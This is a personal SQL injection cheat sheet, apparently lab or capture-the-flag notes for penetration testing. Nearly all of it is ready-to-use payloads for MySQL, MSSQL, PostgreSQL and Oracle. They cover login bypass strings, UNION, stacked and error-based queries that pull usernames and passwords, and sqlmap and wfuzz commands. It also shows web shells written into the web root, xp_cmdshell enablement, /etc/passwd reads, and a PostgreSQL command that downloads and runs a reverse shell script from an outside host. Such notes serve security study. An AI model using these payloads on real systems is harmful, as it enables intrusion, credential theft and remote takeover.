SQL Injection (SQLi)

General

We begin by typing ' into all fields to see if we trigger an error.

Authentication Bypass

MySQL/MariaDB

admin' or 1=1;#
admin' or 1=1 LIMIT 1;#

Data extraction - practical examples

Important:

  • columns have to be the same type

Reading version (MySQL/MariaDB)

http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version

Current DB user (MySQL/MariaDB)

http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()

Reading schema (MySQL/MariaDB)

http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables

Describe user table (MySQL/MariaDB)

http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from
information_schema.columns where table_name='users'

Read the user table (MySQL/MariaDB)

http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users

Code Execution

Reading files

http://10.11.0.22/debug.php?id=1 union all select 1, 2,
load_file('C:/Windows/System32/drivers/etc/hosts')

Writing to file

http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo
shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Other

Make sure to test for Blind SQL Injection: https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL Fuzzing

Using WFUZZ for SQL fuzzing

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "db=mysql&id=FUZZ" -u http://sql-sandbox/api/intro

sqlmap

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --flush-session

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --dbms=mysql --dump --flush-session

Request from a file:

sqlmap -r req.txt -p id

PostgreSQL Enumeration

select version();

select current_user;

select datname from pg_database;

select table_name from app.information_schema.tables where table_schema = 'public';

select column_name, data_type from app.information_schema.columns where table_name = 'menu';

Oracle Enumeration

Oracle databases always include a table named DUAL. This table has one column named "DUMMY" and one row with value "X". When working with an Oracle database, and we need to select static values or data from functions, we can include from DUAL to create a syntactically-valid query.

Requires sys. before table names.

select * from v$version;

select user from dual;

select owner from all_tables group by owner;

select table_name from all_tables where owner = 'SYS' order by table_name;

select column_name, data_type from all_tab_columns where table_name = 'MENU';

MySQL Enumeration

select version();

select current_user();

select table_schema from information_schema.tables group by table_schema;

select table_name from information_schema.tables where table_schema = 'app';

select column_name, data_type from information_schema.columns where table_schema = 'app' and table_name = 'menu';

Microsoft SQL Server Enumeration

When using a SQL Server command line tool, we must submit our SQL statement ending with a semicolon followed by GO on a separate line. When working with the SQL Console, we can omit the GO.

Query must include database name and schema as part of the table name. For example, app.dbo.menu.

SELECT @@version;
GO

SELECT SYSTEM_USER;
GO

SELECT name FROM sys.databases;
GO

SELECT * FROM app.information_schema.tables;
GO

SELECT COLUMN_NAME, DATA_TYPE FROM app.information_schema.columns WHERE TABLE_NAME = 'menu';
GO

Definitions

sa - defaunt name for an administrator-level account

Union-based SQLi

name=xyz'))#

name=xyz')) UNION ALL SELECT null, table_name, null, null from information_schema.tables where table_schema = 'exercise'#&sort=id&order=asc

name=xyz')) UNION ALL SELECT null, column_name, data_type, null from information_schema.columns where table_schema = 'exercise' and table_name = 'secrets'#&sort=id&order=asc

name=xyz')) UNION ALL SELECT null, flag, null, null from secrets#&sort=id&order=asc

Stack Queries SQLi

name=&sort=id&order=asc;select version()

name=&sort=id&order=asc;select datname from pg_database;

name=&sort=id&order=asc;select table_name from exercise.information_schema.tables;

name=&sort=id&order=asc;select column_name, data_type from exercise.information_schema.columns where table_name = 'flags';

name=&sort=id&order=asc;select flag from flags;

SQLi Remote Code Execution

MSSQL

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1;  
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE;  
GO 

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1;  
GO 

-- To update the currently configured value for this feature.  
RECONFIGURE;  
GO

-- Run your command
EXECUTE xp_cmdshell 'whoami';

Postgresql

copy (SELECT '') to program 'curl http://10.10.14.20/revshell.sh|bash'

Reading and Writing Files with SQLi

PostgreSQL

create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;

-- or 

SELECT pg_read_file('/etc/passwd')

MySQL

-- check the locations where MySQL can operate on files
SELECT @@GLOBAL.secure_file_priv;

-- writing content of a table to a file
SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt'
-- e.g.:
GET /extramile/index.php?id=100 UNION ALL select 0, "<?php echo passthru($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell1.php"

-- load file
SELECT LOAD_FILE('/var/lib/mysql-files/test.txt')

Error-based SQLi

MySQL

extractvalue('',concat('>',version()))

extractvalue('',concat('>',(
	select group_concat(table_schema) 
		from (
			select table_schema 
			from information_schema.tables 
			group by table_schema) 
		as foo)
	)
)

extractvalue('',concat('>',(
  select group_concat(table_name) 
  from (
    select table_name from information_schema.tables
    where table_schema='<table_schema>') 
  as foo)
  )
)

extractvalue('',concat('>',
	(select group_concat(table_name) 
	from (
		select table_name from information_schema.tables
		where table_schema='piwigo' 
		limit 2 offset 32)
	as foo)
	)
)

extractvalue('',concat('>',(
	select group_concat(column_name) 
	from (
		select column_name 
		from information_schema.columns 
		where table_schema='piwigo' and table_name='piwigo_users') 
	as foo)
	)
)

extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))

MS SQL

cast(@@version as integer)

cast((SELECT name FROM sys.databases ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) as integer)

cast((SELECT SCHEMA_NAME FROM exercise.information_schema.SCHEMATA ORDER BY SCHEMA_NAME OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) as integer)

cast((SELECT flag FROM exercise.dbo.secrets) AS integer)

-- - STRING_AGG() is like group_concat in mysql
-- - SUBSTRING() is like substring() in mysql

PostgreSQL

cast(version() as integer)

-- - STRING_AGG() is like group_concat in mysql
-- - https://www.postgresql.org/docs/current/functions-string.html is like substring() in mysql

Oracle

to_char(
	dbms_xmlgen.getxml(
		'select "'||
			(select substr(banner,0,30) from v$version where rownum=1)
		||'" from sys.dual'
	)
)

# oneliner
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,30) from v$version where rownum=1)||'" from sys.dual'))

-- - LISTAGG() is like group_concat in mysql
-- - SUBSTR() is like substring() in mysql